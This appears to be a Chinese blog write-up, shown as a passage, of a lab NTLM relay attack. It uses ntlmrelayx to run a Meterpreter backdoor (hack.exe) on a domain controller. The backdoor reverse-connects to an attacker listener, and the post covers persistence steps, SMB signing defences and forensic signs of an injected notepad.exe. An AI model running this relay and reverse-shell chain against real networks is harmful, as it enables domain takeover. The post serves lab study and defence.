-e ./hack.exe参数指示ntlmrelayx在域控上执行攻击机本地目录中的hack.exe。此操作可能通过以下方式实现：
- 将
hack.exe上传到域控的临时目录（如C:\Windows\Temp\）。- 通过SMB或WMI远程执行命令启动木马。
步骤4：木马反向连接实现持久化
hack.exe是Meterpreter后门，执行后会反向连接到攻击机的Metasploit监听器（如LHOST=192.168.41.132, LPORT=4444），建立Shell。
持久化增强：
- Metasploit的
migrate命令将进程迁移到稳定程序（如explorer.exe）。- 添加注册表启动项或计划任务确保重启后仍可连接。
4. 可能的问题与验证
问题1：ntlmrelayx是否需要配合Responder？
答案：是。ntlmrelayx仅负责中继，需通过Responder投毒触发受害者发起认证。问题2：
-e参数是否自动上传木马？
答案：是。ntlmrelayx会将本地文件（hack.exe）上传到目标服务器的可写共享（如ADMIN$或C$），然后通过服务创建或远程执行启动。问题3：如何确认攻击成功？
- ntlmrelayx日志：显示
NTLM Relay Attack Success。- Metasploit会话：收到来自域控IP的Meterpreter连接。
5. 防御建议
- 目标服务器：
- 启用SMB签名（域控默认强制开启，需确认实验环境是否关闭）。
- 禁用NTLM认证，仅使用Kerberos。
- 受害者：
- 关闭LLMNR/NBNS，使用DNS解析。
- 培训用户避免访问未知共享。
总结
该命令通过NTLM中继攻击，将Win7的认证转发到域控，利用获得的权限执行木马
hack.exe，最终通过反向Shell实现持久控制。关键在于：
- 投毒触发认证（依赖Responder）。
- 中继到未启用SMB签名的域控。
- 木马执行与进程迁移维持稳定会话。
上面是需要responder投毒的
接下来看看不用毒的，只要把responder关了，然后win7输入 \\kali的ip就行了
| 比维度 | （木马结合ntlmrelayx） | （Responder投毒结合ntlmrelayx） |
|---|---|---|
| 攻击起点 | 从生成木马（msfvenom）开始 | 从Responder投毒（LLMNR/NBNS欺骗）开始 |
| 核心工具 | 使用Metasploit监听 + ntlmrelayx中继 | 使用Responder投毒 + ntlmrelayx中继 |
| 中继后的动作 | 在目标服务器执行木马（hack.exe），反弹Meterpreter会话 | 直接中继认证到目标服务器并执行任意恶意命令 |
| 目标服务器版本 | 目标服务器标注为Win2012 | 目标服务器标注为Win2010 |
| 持久化手段 | 通过进程迁移（migrate）维持稳定Shell | 未提及持久化机制，仅执行一次性命令 |
Windows安全日志分析
为什么在与域控上找不到hack.exe？
sudo impacket-ntlmrelayx -t 192.168.41.10 -e ./hack.exe这句话的意思不就是，先捕捉到win7的认证凭据，再通过这个去认证域控，然后吧木马放到域控上，然后进行反向连接达到持久化的效果
但是事实是之后hack.exe就被kali自己的命令清理痕迹了
| 特征 | 正常记事本（notepad.exe） | 攻击者生成的记事本（notepad.exe） |
|---|---|---|
| 启动方式 | 用户手动双击打开或通过合法程序调用 | 由Metasploit通过migrate命令或AutoRunScript自动创建 |
| 进程路径 | C:\Windows\System32\notepad.exe | 可能为临时路径或内存注入（无实际文件） |
| 行为 | 提供文本编辑功能 | 执行Meterpreter后门代码，维持反向Shell连接 |
| 数字签名 | 有Microsoft签名 | 无合法签名（若未伪装） |
在powershell里面打开
Get-AuthenticodeSignature -FilePath C:\Windows\System32\notepad.exe可以看到是无签名
以下是 从 hack.exe 到 MTfGTkjO.exe，最终伪装成 notepad.exe 的完整流程及技术细节：
扫一扫
1万+
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
